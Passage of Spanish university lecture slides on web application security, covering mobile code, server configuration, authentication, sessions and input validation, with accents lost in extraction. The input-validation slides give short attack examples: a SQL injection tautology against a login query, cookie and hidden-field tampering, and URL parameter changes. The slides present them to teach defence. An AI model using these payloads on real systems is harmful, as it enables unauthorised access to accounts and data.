Está en la página 1de 140

Seguridad en Sistemas Informticos e Internet

Seguridad en las
Aplicaciones Web



LabIS
2

http://www.lsi.us.es/~quivir
Dpto. Lenguajes y Sistemas Informticos
Universidad de Sevilla
Seguridad en Sistemas Informticos e Internet 2
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 3
Contenido
Introduccin
Aplicaciones Web
Cunta seguridad es necesaria?
Amenazas ms importantes a las aplicaciones web
Guas de seguridad
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 4
Contenido
Introduccin
Seguridad en el Cliente
Cdigo mvil
Lenguajes de Macro: VBA
Lenguajes de Script: JavaScript y VBScript
Applets Java
Controles ActiveX
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 5
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Servidor Web
Servidor de Bases de Datos
Lenguajes de servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 6
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Control de acceso
Validacin de datos de entrada
Programacin segura
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 7
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
SSL
Seguridad en Sistemas Informticos e Internet 8
Programacin
Teora Prctica
Viernes 7 Introduccin
Seguridad en el cliente
1. Cdigo mvil
Jueves 20 Seguridad en el servidor
Seguridad en la aplicacin:
control de acceso
2. Autentificacin bsica HTTP
Viernes 21 Seguridad en la aplicacin:
control de acceso
3. Control de acceso
Jueves 4 Seguridad en la aplicacin:
validacin de datos de entrada
4. Validacin de datos
Viernes 5 Seguridad en la aplicacin:
programacin segura
Seguridad en la comunicacin
5. SSL en Apache
Seguridad en Sistemas Informticos e Internet 9
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 10
Introduccin
Aplicaciones Web
Cunta seguridad es necesaria?
Amenazas ms importantes a las
aplicaciones web
Guas de seguridad
Seguridad en Sistemas Informticos e Internet 11
Introduccin
Aplicaciones Web
Aplicaciones cliente/servidor que utilizan el
protocolo HTTP para interactuar con los usuarios u
otros sistemas
El cliente utilizado por los usuarios es
habitualmente un navegador
Los problemas de seguridad pueden provenir de los
programas web en los que se apoyan, aunque en
su mayor parte son consecuencia de fallos en la
lgica y el diseo de la propia aplicacin
Seguridad en Sistemas Informticos e Internet 12
Introduccin
Cunta seguridad es necesaria?
La seguridad supone un coste econmico y de
eficiencia. Hay que disponer de la adecuada, ni ms
ni menos
Para ello hay que tener en cuenta tres reglas:
El riesgo cero no es prctico
Hay diversas formas de mitigar el riesgo
No se puede gastar un milln para proteger un
cntimo
Seguridad en Sistemas Informticos e Internet 13
Introduccin
Amenazas ms importantes: Top 10
The Open Web Application Security Project (OWASP)
The Ten Most Critical Web Application Security
Vulnerabilities
www.owasp.org/documentation/topten
Seguridad en Sistemas Informticos e Internet 14
Introduccin
Top Ten de amenazas
1. Entrada no validada
2. Control de acceso roto
3. Administracin de sesin y autentificacin rota
4. Fallos de Cross Site Scripting (XSS)
5. Desbordamiento del buffer
6. Fallos de inyeccin
7. Manejo inadecuado de errores
8. Almacenamiento inseguro
9. Negacin de servicio
10. Administracin de configuracin insegura
Seguridad en Sistemas Informticos e Internet 15
Introduccin
Guas de seguridad
Es conveniente tener en cuenta unos principios de
alto nivel al disear aplicaciones web:
Validar la entrada y la salida
Fallar con seguridad
Mantener un esquema de seguridad simple
Utilizar componentes de confianza
La seguridad a travs de la oscuridad no funciona
Mantener los privilegios al mnimo y separados
Seguridad en Sistemas Informticos e Internet 16
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 17
Seguridad en el Cliente
Cdigo mvil
Lenguajes de Macro: VBA
JavaScript
VBScript
Applets Java
Controles ActiveX
Seguridad en Sistemas Informticos e Internet 18
Seguridad en el Cliente
Cdigo mvil
Cdigo que circula por la red y se ejecuta en una
mquina remota
Aparece incrustado en un documento HTML. Un
cliente de correo o un navegador que carguen el
documento lo ejecutarn en la mquina cliente
Potencia la funcionalidad de los documentos HTML
pero entraa riesgos de seguridad. Un cdigo mvil
puede obtener informacin acerca de un sistema o
un usuario y enviarla a una mquina remota
Seguridad en Sistemas Informticos e Internet 19
Seguridad en el Cliente
Cdigo mvil
Puede estar incrustado directamente en el
documento, caso de los lenguajes de script como
JavaScript y VBScript
Tambin puede residir en un servidor y ser
invocado mediante una referencia en el documento,
caso de las applets de Java o los controles ActiveX
El cdigo ActiveX suele permanecer en el sistema
una vez que se instala, mientras que las applets de
Java se ejecutan una sla vez y no se almacenan
en la mquina del usuario
Seguridad en Sistemas Informticos e Internet 20
Seguridad en el Cliente
Cdigo mvil
Hay cuatro tipos bsicos de cdigo mvil:
Lenguajes de macro como Visual Basic for
Applications (VBA)
Scripts como JavaScript y VBScript
Applets de Java
Controles ActiveX
Un mtodo de proteccin comn es tener siempre
actualizado el software
Seguridad en Sistemas Informticos e Internet 21
Seguridad en el Cliente
Lenguajes de Macro: VBA
Es un lenguaje de macro propio de Microsoft Office,
aunque otras aplicaciones lo han adoptado
Permite el acceso a todas las funciones de la
aplicacin, incluyendo el acceso a disco
La macro est incrustada en el documento

Seguridad en Sistemas Informticos e Internet 22
Seguridad en el Cliente
Lenguajes de Macro: VBA
Las versiones previas a Office 97 ejecutaban las
macros al abrir los documentos sin pedir
autorizacin al usuario. Una macro poda contener
un virus y causar grandes perjuicios
Al ejecutarse podra copiarse en la plantilla normal,
con lo que aparecera en cualquier documento
creado con la aplicacin y se expandira al
compartirse los documentos
Ejemplo: Melissa (1999), creado con VBA en un
documento Word. Se reenviaba a los primeros 50
contactos de Outlook
Seguridad en Sistemas Informticos e Internet 23
Seguridad en el Cliente
Lenguajes de Macro: VBA
Para protegerse de los virus de macro hay que
tener mucha precaucin al permitir la ejecucin de
macros en un documento. Slo debe hacerse
cuando la fuente de procedencia del documento
sea fiable
Seguridad en Sistemas Informticos e Internet 24
Seguridad en el Cliente
JavaScript
Fue diseado para aadir interactividad a una
pgina web
Un cdigo JavaScript tiene acceso nicamente a la
informacin contenida en la pgina en la que est
incrustado
Es bastante seguro. Algunos problemas del pasado
han estado relacionados con implementaciones de
JavaScript por parte de Microsoft y Netscape. La
madurez de la tecnologa ha permitido solucionarlos
Seguridad en Sistemas Informticos e Internet 25
Seguridad en el Cliente
JavaScript
El nico problema serio est relacionado con los
servicios de correo Web
Si se recibe un correo con un cdigo malicioso, al
visualizarlo podra hacer cosas como leer los
mensajes del usuario, enviar mensajes en su
nombre, leer una cookie o abrir una falsa ventana
de identificacin para pedir al usuario la
confirmacin de su password. Podra usar marcos
para continuar ejecutndose mientras visualizamos
otros mensajes o realizamos otras tareas
Apareci por primera vez en Hotmail y provoc que
los servicios de correo web decidieran neutralizar el
cdigo JavaScript de los mensajes recibidos
Seguridad en Sistemas Informticos e Internet 26
Seguridad en el Cliente
JavaScript
Otra fuente de problemas es la posibilidad que
ofrece de comunicarse con los plug-ins del
navegador (p. Ej. Shockwave player). Si el plug-in
tiene acceso a disco, JavaScript tambin lo tiene
La mejor proteccin es tener el software
actualizado. Si se utiliza un servicio de correo web
hay que verificar que tiene activados filtros contra
el cdigo JavaScript. Tambin se puede deshabilitar
JavaScript o pedir confirmacin cuando se intente
ejecutar cdigo JavaScript, aunque puede resultar
muy pesado
Netscape permite deshabilitar JavaScript de forma
independiente para navegador y lector de correo
Seguridad en Sistemas Informticos e Internet 27
Seguridad en el Cliente
VBScript
Slo funciona con Internet Explorer y Outlook, por
lo que no es tan popular como JavaScript
Ofrece una funcionalidad similar pero con una
notable excepcin: puede interactuar con los
controles ActiveX instalados en la mquina
sta es la principal fuente de problemas, ya que
carece de operaciones potencialmente peligrosas
Los controles ActiveX pueden ser marcados como
safe o unsafe for scripting de forma que se impida
a los scripts acceder a ellos
Seguridad en Sistemas Informticos e Internet 28
Seguridad en el Cliente
Applets Java
Normalmente no pueden leer ni escribir datos en el
disco local ni comunicarse con otro recurso de la
red salvo el servidor del que procede, lo cual
garantiza que no tendrn comportamiento malicioso
Excepcin: pueden crear hilos que se ejecutan
en segundo plano. Estos hilos pueden seguir en
ejecucin aunque se cierre el navegador y pueden
tener un efecto poco pernicioso, como reproducir
msica de fondo. La nica forma de pararlos es
cerrar todas las ventanas del navegador
Efecto ms negativo: el applet crea hilos que
consumen mucha memoria y/o CPU haciendo ms
lento el sistema y llegando incluso a colapsarlo
Seguridad en Sistemas Informticos e Internet 29
Seguridad en el Cliente
Controles ActiveX
Son la respuesta de Microsoft a las applets de Java
Slo funcionan bsicamente con Internet Explorer y
Outlook
La seguridad de los controles ActiveX se basa en los
certificados digitales. Los controles estn
firmados digitalmente para garantizar su
autenticidad
Al cargar el control IE presenta el certificado digital
y pide autorizacin para instalarlo. Pueden existir
controles sin firma, aunque sern directamente
rechazados por IE si est configurado
correctamente
Seguridad en Sistemas Informticos e Internet 30
Seguridad en el Cliente
Seguridad en Sistemas Informticos e Internet 31
Seguridad en el Cliente
Controles ActiveX
El problema se da cuando un control est mal
construido, proporcionando agujeros de seguridad
a los atacantes
Un problema habitual en algunos controles es el
buffer overrun, padecido por ejemplo por el control
de Adobe Acrobat Reader 4.0 y que permite la
ejecucin de cdigo arbitrario en la mquina del
usuario
Cuando se construye un control ActiveX que puede
realizar tareas potencialmente peligrosas (como
leer o escribir en disco) hay que tener la precaucin
de marcarlo como unsafe for scripting para que no
pueda ser llamado desde VBScript
Seguridad en Sistemas Informticos e Internet 32
Seguridad en el Cliente
Prctica 1: Cdigo mvil
Creacin de un formulario
Validacin de datos con JavaScript
Formas de saltarse la validacin JavaScript
Seguridad en Sistemas Informticos e Internet 33
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 34
Seguridad en el Servidor
Servidor Web
Servidor de Bases de Datos
Lenguajes de servidor
Seguridad en Sistemas Informticos e Internet 35
Seguridad en el Servidor
El desarrollo de una aplicacin web requiere de una
serie de herramientas: servidores web, servidores
de aplicaciones, servidores de bases de datos,
lenguajes de servidor, etc.
Estas herramientas pueden plantear problemas
que comprometan a la aplicacin:
Vulnerabilidades debidas al uso de versiones no
actualizadas
Configuraciones por defecto inadecuadas
Activacin de cuentas por defecto
Las herramientas deben estar actualizadas y
bien configuradas para impedir ataques a la
aplicacin
Seguridad en Sistemas Informticos e Internet 36
Seguridad en el Servidor
Servidor Web
Proporciona muchos servicios y es muy probable
que algunos de ellos no sean necesarios para el
funcionamiento de la aplicacin web
En tal caso es conveniente deshabilitarlos
Para ello el servidor dispone de mltiples opciones
de configuracin que es conveniente adaptar a las
circunstancias concretas de la aplicacin web
Seguridad en Sistemas Informticos e Internet 37
Seguridad en el Servidor
Servidor Web
Precauciones a tener en cuenta:
Establecer permisos adecuados para los ficheros
del servidor y los documentos. Es conveniente
definir un usuario y grupo especiales (web, www)
Listado automtico de directorios. Puede ser
conveniente pero proporciona informacin sensible
Seguimiento de enlaces simblicos. Peligroso si se
enlazan ficheros externos al rbol de documentos
Seguridad en Sistemas Informticos e Internet 38
Seguridad en el Servidor
Servidor Web
Precauciones a tener en cuenta (cont):
Ejecucin de CGI. Slo debe permitirse a usuarios
de confianza y restringirlo a un directorio especial
Server side includes (SSI). Es una fuente de
peligro y puede tener que ser restringido a
usuarios de confianza o deshabilitado (en
particular la opcin exec). Ejemplo:
... cdigo HTML
<!--#exec cgi=/cgi-bin/cabecera.cgi -->
... cdigo HTML
Seguridad en Sistemas Informticos e Internet 39
Seguridad en el Servidor
Servidor Web
Ejercicio: Configuracin de Apache
Seguridad en Sistemas Informticos e Internet 40
Seguridad en el Servidor
Servidor Web
Es muy conveniente revisar peridicamente los
ficheros de log (access_log y error_log en Apache)
para detectar posibles ataques al servidor
Seguridad en Sistemas Informticos e Internet 41
Seguridad en el Servidor
Servidor Web
Ejercicio: Ficheros de log en Apache
Seguridad en Sistemas Informticos e Internet 42
Seguridad en el Servidor
Servidor de Bases de Datos
Proporciona acceso a bases de datos, fundamental
en toda aplicacin web importante. Riesgos:
Descubrimiento de informacin acerca de los datos
de conexin al servidor (usuario y clave),
informacin sensible almacenada en la base de
datos (tarjetas de crdito) o informacin sobre la
estructura de la base de datos
Modificacin de las instrucciones SQL enviadas al
servidor, construidas de forma dinmica a partir de
datos recibidos del usuario y por tanto
potencialmente peligrosos (Inyeccin SQL)
Acceso no autorizado a informacin restringida
Seguridad en Sistemas Informticos e Internet 43
Seguridad en el Servidor
Servidor de Bases de Datos
Hay que vigilar la configuracin por defecto del
servidor, que puede incluir bases de datos y
usuarios predefinidos que conviene eliminar
Algunas recomendaciones:
No ejecutar el servidor como root
No dar a ningn usuario salvo al root permiso de
acceso a la tabla de usuarios
Asegurarse de que el root tiene un password
Restringir el acceso remoto al servidor
No dar a un usuario ms permisos que los
estrictamente necesarios
Almacenar los datos sensibles de forma encriptada

Seguridad en Sistemas Informticos e Internet 44
Seguridad en el Servidor
Servidor de Bases de Datos
En el cdigo de la aplicacin hay que tener, entre
otras, las siguientes precauciones:
Validar las instrucciones SQL antes de enviarlas al
servidor
No revelar informacin sobre la base de datos en
los mensajes de error (esquema, naturaleza de los
datos almacenados, fragmentos SQL)
Proteger el cdigo donde aparezca informacin
sensible para el acceso al servidor
Seguridad en Sistemas Informticos e Internet 45
Seguridad en el Servidor
Servidor de Bases de Datos
Ejercicio: Configuracin de MySQL
Seguridad en Sistemas Informticos e Internet 46
Seguridad en el Servidor
Lenguajes de servidor
ASP, JSP, PHP
Aumentan enormemente la potencia de los
documentos HTML al permitir la comunicacin con
aplicaciones residentes en el servidor, y muy
especialmente con servidores de bases de datos
Esta potencialidad conlleva riesgos. Hay que
revisar a fondo la configuracin para eliminar
funcionalidades no utilizadas y seguir prcticas
adecuadas de programacin, sobre todo en
funciones con vulnerabilidades conocidas
Seguridad en Sistemas Informticos e Internet 47
Seguridad en el Servidor
Lenguajes de servidor
Hay que proteger el cdigo fuente para evitar
que pueda ser visualizado, especialmente cuando
contiene informacin sensible como pueden ser los
datos de conexin al servidor de bases de datos
Una medida razonable consiste en sacar el cdigo
fuente sensible fuera de la raz de la web
Seguridad en Sistemas Informticos e Internet 48
Seguridad en el Servidor
Lenguajes de servidor
Ejercicio: Errores en cdigo PHP
Seguridad en Sistemas Informticos e Internet 49
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 50
Seguridad en la Aplicacin
Control de acceso
Validacin de datos de entrada
Programacin segura
Seguridad en Sistemas Informticos e Internet 51
Seguridad en la Aplicacin
Control de acceso
Un aspecto muy importante de una aplicacin web
es el control de acceso de los usuarios a zonas
restringidas de la aplicacin
Aqu intervienen dos conceptos:
Autentificacin
Autorizacin
Seguridad en Sistemas Informticos e Internet 52
Seguridad en la Aplicacin
Autentificacin
Es el proceso de determinar si un usuario es quien
dice ser
Esto se puede hacer de varias maneras. Algunas de
ellas son:
Autentificacin HTTP bsica
Autentificacin basada en la aplicacin
Seguridad en Sistemas Informticos e Internet 53
Seguridad en la Aplicacin
Autentificacin HTTP bsica
Cuando se requiere una URI protegida, el servidor
web devuelve un cdigo HTTP/1.1 401
Authorization required, indicando al cliente que
muestre una ventana de dilogo con un nombre de
usuario y una contrasea
Cuando se pulsa el botn de envo estos datos
llegan al servidor que comprueba si son correctos y
en caso afirmativo sirve el recurso solicitado
Seguridad en Sistemas Informticos e Internet 54
Seguridad en la Aplicacin
Seguridad en Sistemas Informticos e Internet 55
Seguridad en la Aplicacin
Autentificacin HTTP bsica
Ventajas:
Es muy simple de implementar
Se pueden fijar restricciones de acceso por usuario
y contrasea o por otros conceptos como por
ejemplo el dominio o direccin IP de la mquina
Inconvenientes:
Los datos viajan por la red sin encriptar
No se puede hacer logout, la nica forma es cerrar
el navegador
No hay control sobre el diseo de la ventana de
dilogo
Seguridad en Sistemas Informticos e Internet 56
Seguridad en la Aplicacin
Autentificacin HTTP bsica
Ejercicio: proteccin de un directorio del servidor
Seguridad en Sistemas Informticos e Internet 57
Seguridad en la Aplicacin
Prctica 2: Autentificacin HTTP
bsica
Creacin de una pgina web
Creacin de un usuario
Creacin de un fichero .htaccess
Configuracin del servidor web Apache
Seguridad en Sistemas Informticos e Internet 58
Seguridad en la Aplicacin
Autentificacin basada en la
aplicacin
La propia aplicacin puede implementar un
mecanismo de autentificacin que implica la
presentacin de un formulario para que el usuario
introduzca sus credenciales y el uso de una base de
datos para verificar la correccin de stas
Es ms costosa pero ms flexible ya que
permite establecer diferentes permisos y niveles de
acceso en funcin del usuario que solicita la
autentificacin
Seguridad en Sistemas Informticos e Internet 59
Seguridad en la Aplicacin
Seguridad en Sistemas Informticos e Internet 60
Seguridad en la Aplicacin
Passwords
Siempre que se utilizan passwords para autentificar
usuarios hay que seguir unas recomendaciones:
Restringir los valores para los nombres de
usuarios. Los que representan nombres reales
suponen dar pistas a los atacantes
Almacenar los passwords de forma segura,
protegiendo el acceso a la base de datos
Seguir reglas de seguridad para su eleccin
Bloquear una cuenta cuando se detecta un nmero
determinado de intentos de acceso incorrectos
Actualizar los passwords peridicamente y
mantener un histrico para evitar repeticiones
Seguridad en Sistemas Informticos e Internet 61
Seguridad en la Aplicacin
Passwords
Cualquier sistema que requiera autentificacin debe
tener una poltica de recuperacin de
passwords en caso de olvido del usuario
Esto se puede hacer de dos formas:
Automticamente
A travs de tcnicos de soporte
Seguridad en Sistemas Informticos e Internet 62
Seguridad en la Aplicacin
Passwords
En el caso automtico hay varias estrategias:
Plantear durante el registro del usuario varias
preguntas a las que slo l puede responder
Enviar el password por correo electrnico. Es
recomendable que tenga fecha de expiracin y se
pida su cambio cuando el usuario se conecte
Comunicar el password por telfono al usuario a
requerimiento del mismo
Deben registrarse todos los intentos de
recuperacin y fijar un lmite de tiempo pasado el
cual sera preciso recurrir al tcnico
Seguridad en Sistemas Informticos e Internet 63
Seguridad en la Aplicacin
Seguridad en Sistemas Informticos e Internet 64
Seguridad en la Aplicacin
Passwords
En el caso del tcnico hay que prever el servicio a
personas de diferentes pases con lenguas
diferentes
La intervencin humana da mayor seguridad, pero
es ms costosa y ms molesta para el usuario
Una alternativa a la presencia fsica puede ser el
uso del fax para enviar la documentacin que
certifique la identidad del usuario
Seguridad en Sistemas Informticos e Internet 65
Seguridad en la Aplicacin
Sesiones
Una vez que el usuario se ha autentificado
introduciendo su nombre de usuario y su clave, es
preciso mantener esta autentificacin en cada
conexin subsiguiente
Para evitar tener que mostrar nuevamente la
ventana de autentificacin se recurre habitualmente
al uso de sesiones, un mecanismo que permite
mantener el estado entre diferentes peticiones
HTTP
Seguridad en Sistemas Informticos e Internet 66
Seguridad en la Aplicacin
Sesiones
El mecanismo es el siguiente:
Una vez autentificado, al usuario se le asigna un
identificador de sesin
Este identificador acompaar invisiblemente a
cada peticin del usuario, con lo cual se
garantizar que la peticin proviene de un usuario
previamente autentificado
El identificador de sesin se suele almacenar en la
propia mquina del cliente, mediante una cookie
Slo se debe almacenar el identificador de la
sesin; cualquier otro dato del usuario se
almacenar en el servidor
Seguridad en Sistemas Informticos e Internet 67
Seguridad en la Aplicacin
Sesiones
La gestin de las sesiones es responsabilidad del
programador. Normalmente los lenguajes de
servidor disponen de funciones diseadas
especficamente para ello
En PHP se dispone de las siguientes funciones:
session_start
session_register
session_is_registered
session_unregister
session_destroy
Seguridad en Sistemas Informticos e Internet 68
Seguridad en la Aplicacin
Sesiones
Un buen sistema de gestin de sesiones debe:
Establecer un tiempo lmite de vida para la sesin
Regenerar el identificador de sesin cada cierto
tiempo
Detectar intentos de ataque de fuerza bruta con
identificadores de sesin
Requerir una nueva autentificacin del usuario
cuando vaya a realizar una operacin importante
Proteger los identificadores de sesin durante su
transmisin
Destruir la cookie al finalizar la sesin para evitar
el acceso de otro usuario en un entorno pblico
Seguridad en Sistemas Informticos e Internet 69
Seguridad en la Aplicacin
Sesiones
Ejercicio: sesiones en PHP
Seguridad en Sistemas Informticos e Internet 70
Seguridad en la Aplicacin
Autorizacin
Es el acto de comprobar si un usuario tiene el
permiso adecuado para acceder a un cierto fichero
o realizar una determinada accin, una vez que ha
sido autentificado
Seguridad en Sistemas Informticos e Internet 71
Seguridad en la Aplicacin
Autorizacin
Disear el mecanismo de control de acceso exige:
Determinar la informacin que ser accesible por
cada usuario
Determinar el nivel de acceso de cada usuario a la
informacin
Especificar un mecanismo para otorgar y revocar
permisos a los usuarios
Proporcionar funciones a los usuarios autorizados:
identificacin, desconexin, peticin de ayuda,
consulta y modificacin de informacin personal,
cambio de password, etc.
Ajustar los niveles de acceso a la informacin a la
poltica de seguridad de la organizacin
Seguridad en Sistemas Informticos e Internet 72
Seguridad en la Aplicacin
Autorizacin
Modelos para el control de acceso:
Control de Acceso Discrecional: se basa en la
identidad de los usuarios o su pertenencia a ciertos
grupos. El propietario de una informacin puede
cambiar sus permisos a su discrecin
Control de Acceso Obligatorio: cada pieza de
informacin tiene un nivel de seguridad y cada
usuario un nivel de acceso, lo cual permite
determinar los permisos de acceso de cada usuario
a cada pieza de informacin
Control de Acceso Basado en Roles: cada
usuario tiene un rol dentro de la organizacin y en
funcin de l unos permisos de acceso
Seguridad en Sistemas Informticos e Internet 73
Seguridad en la Aplicacin
Autorizacin
Para la implementacin del mecanismo de control
de acceso en la aplicacin suele recurrirse al uso de
bases de datos
Seguridad en Sistemas Informticos e Internet 74
Seguridad en la Aplicacin
Prctica 3: Control de acceso
Disear un mecanismo de control de acceso
Definir usuarios
Especificar nivel de acceso de los usuarios
Seguridad en Sistemas Informticos e Internet 75
Seguridad en la Aplicacin
Validacin de datos de entrada
El problema ms frecuente que presentan las
aplicaciones web es no validar correctamente
los datos de entrada
Esto da lugar a algunas de las vulnerabilidades ms
importantes de las aplicaciones, como la Inyeccin
SQL, el Cross-Site Scripting y el Buffer Overflow
Veamos los siguientes aspectos:
Fuentes de entrada
Inyeccin
Estrategias de proteccin
Vulnerabilidades especficas
Seguridad en Sistemas Informticos e Internet 76
Seguridad en la Aplicacin
Fuentes de entrada
Los datos de entrada pueden provenir de cuatro
fuentes diferentes:
Cadenas URL
Cookies
Cabeceras HTTP
Campos de formularios
Seguridad en Sistemas Informticos e Internet 77
Seguridad en la Aplicacin
Fuentes de entrada cadenas URL
Cuando se enva un formulario con el mtodo GET,
los nombres y valores de todos los elementos del
formulario aparecen detrs de la URL de la pgina
invocada:
http://www.victim.com/example?accountnumber=12345
Es muy fcil modificar esta cadena:
http://www.victim.com/example?accountnumber=67891
Seguridad en Sistemas Informticos e Internet 78
Seguridad en la Aplicacin
Fuentes de entrada cadenas URL
La aplicacin debe chequear el valor recibido
aunque proceda de una lista desplegable con
unos valores predefinidos, ya que el usuario ha
podido modificar manualmente la URL
Este problema se da tambin en los hipervnculos
que incluyen parmetros
Siempre que se enven datos sensibles hay que
acompaarlos de un identificador de sesin y
comprobar que el usuario asociado a la sesin tiene
acceso a la informacin requerida
Seguridad en Sistemas Informticos e Internet 79
Seguridad en la Aplicacin
Fuentes de entrada - cookies
Es un mtodo habitual de mantener el estado o
almacenar preferencias del usuario.
Pueden ser modificadas por el cliente para
engaar al servidor. El peligro depender de lo que
se almacene en la cookie. Por ejemplo, la cookie
Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;
puede ser modificada fcilmente por:
Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;
Lo mejor es almacenar en la cookie
nicamente el identificador de sesin,
manteniendo la informacin relevante en el servidor
Seguridad en Sistemas Informticos e Internet 80
Seguridad en la Aplicacin
Fuentes de entrada - cabeceras
Las cabeceras HTTP contienen informacin de
control enviadas entre el cliente y el servidor. Por
ejemplo,
Host: www.someplace.org
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49
Seguridad en Sistemas Informticos e Internet 81
Seguridad en la Aplicacin
Fuentes de entrada - cabeceras
Si la aplicacin web utiliza las cabeceras recibidas
del cliente, hay que tener en cuenta que stas
pueden haber sido manipuladas, por lo que deben
ser verificadas
Por ejemplo, sea la siguiente cabecera:
Accept-Language: es
Si el contenido de la cabecera se utiliza
directamente en una consulta a la base de datos,
podra utilizarse para inyectar rdenes SQL
modificando la cabecera

Seguridad en Sistemas Informticos e Internet 82
Seguridad en la Aplicacin
Fuentes de entrada - formularios
Los formularios pueden ser modificados para enviar lo
que el usuario desee. Basta con guardar la pgina,
modificar el cdigo y recargarlo en el navegador. Las
limitaciones impuestas en el propio formulario
se pueden saltar perfectamente. Ejemplo:
<input type=text name="titulo" maxlength="100">
Este elemento podra modificarse as:
<input type=text name="titulo" maxlength="100000">
con el consiguiente riesgo para la aplicacin si el valor
no se chequea adecuadamente
Seguridad en Sistemas Informticos e Internet 83
Seguridad en la Aplicacin
Fuentes de entrada - formularios
Los campos ocultos (HIDDEN) tambin son
vulnerables a este ataque, por lo que no deben
utilizarse para almacenar informacin sensible
Es mucho ms seguro utilizar sesiones y
almacenar la informacin sensible en el servidor
Ejemplos de campos ocultos vulnerables:
<input name="masteraccess" type="hidden" value="N">
<input name="price" type="hidden" value="199.99">
Seguridad en Sistemas Informticos e Internet 84
Seguridad en la Aplicacin
Fuentes de entrada - formularios
Ejercicio: validacin de datos de formularios con
la herramienta WebGoat
Descarga e instalacin de WebGoat
Ejercicio: hidden field tampering
Ejercicio: unchecked email
Ejercicio: JavaScript validation
Seguridad en Sistemas Informticos e Internet 85
Seguridad en la Aplicacin
Inyeccin
Consiste en inyectar en la aplicacin datos
introducidos por el usuario. Esto es muy habitual y
de por s no es peligroso
Seguridad en Sistemas Informticos e Internet 86
Seguridad en la Aplicacin
Inyeccin de datos
Ejemplo: sea la siguiente instruccin:
sql= "SELECT * FROM noticias WHERE id = $id";
Pulsando en el artculo de inters para el usuario se
convierte en:
sql= "SELECT * FROM noticias WHERE id = 228";
Otro ejemplo:
print "<H2>Bienvenido/a, $username.</H2>";
Una vez identificado el usuario se convierte en:
print "<H2>Bienvenido/a, Antonio.</H2>";
Seguridad en Sistemas Informticos e Internet 87
Seguridad en la Aplicacin
Conectores y payload
Idea: suministrar datos que al ser inyectados en la
aplicacin causen un efecto particular
El ataque est completamente contenido en los
datos suministrados por el atacante, que se pueden
dividir en tres partes:
Conector de prefijo
Payload
Conector de sufijo
El ataque est contenido en el payload y los
conectores lo encajan en la aplicacin
Para elegirlos es preciso un amplio conocimiento del
lenguaje, las herramientas y las tcnicas utilizadas
en la aplicacin
Seguridad en Sistemas Informticos e Internet 88
Seguridad en la Aplicacin
Conectores y payload
Ejemplo: consulta SQL para una interfaz de
identificacin de usuario
sql = "SELECT * FROM tablausuarios WHERE login =
'$userLogin' AND password = '$userPassword';
Si inyectamos un ataque en el campo userLogin con
los siguientes componentes:
prefijo payload sufijo
OR 1=1 OR login=
Seguridad en Sistemas Informticos e Internet 89
Seguridad en la Aplicacin
Conectores y payload
obtendremos la consulta SQL:
SELECT * FROM tablausuarios WHERE login = '' OR
1=1 OR login ='' AND password = ''
que nos devolver todos los usuarios de la tabla
Seguridad en Sistemas Informticos e Internet 90
Seguridad en la Aplicacin
Conectores y payload
Con un mayor conocimiento podemos modificar el
ataque para reducir el nmero de caracteres
empleados, que podra estar limitado. Por ejemplo,
el ataque




producira la consulta SQL:
SELECT * FROM tablausuarios WHERE login = '' OR
'1'='1' AND password = ''
prefijo payload sufijo
OR 1=1
Seguridad en Sistemas Informticos e Internet 91
Seguridad en la Aplicacin
Conectores y payload
La eleccin de los conectores puede verse facilitada
por factores como acceso al cdigo fuente o
mensajes de error detallados
Ms importante que esto es el hecho de utilizar
tcnicas de programacin conocidas en el
desarrollo de las aplicaciones
Seguridad en Sistemas Informticos e Internet 92
Seguridad en la Aplicacin
Estrategias de proteccin
Existen tres modelos posibles a la hora de
disear una estrategia de validacin de datos:
Aceptar nicamente datos vlidos conocidos
Rechazar datos no vlidos conocidos
Sanear todos los datos
Seguridad en Sistemas Informticos e Internet 93
Seguridad en la Aplicacin
Estrategias de proteccin
Aceptar nicamente datos vlidos conocidos.
Es la estrategia ms adecuada. Slo deben
aceptarse aquellos datos que se adaptan a lo
esperado. Por ejemplo, si un password debe
contener letras de la A a la Z y dgitos del 0 al 9,
debe verificarse que la entrada es una cadena, que
slo contiene esos caracteres y que tiene una
longitud vlida
Seguridad en Sistemas Informticos e Internet 94
Seguridad en la Aplicacin
Estrategias de proteccin
Aceptar nicamente datos vlidos conocidos.
En general hay que chequear lo siguiente:
Tipo de dato
Longitud mxima y mnima
Datos obligatorios
Si hay una lista enumerada de posibles valores,
comprobar que est en ella
Si hay un formato o plantilla especfico, comprobar que
lo cumple
Si es texto libre, que slo contiene caracteres vlidos
Si se permiten caracteres peligrosos, sanearlos
Deben considerarse los valores por separado pero
tambin teniendo en cuenta que pueden unirse
para formar, por ejemplo, una consulta SQL
Seguridad en Sistemas Informticos e Internet 95
Seguridad en la Aplicacin
Estrategias de proteccin
Rechazar datos no vlidos conocidos. Implica
conocer todos los posibles datos peligrosos, lo cual
es muy difcil
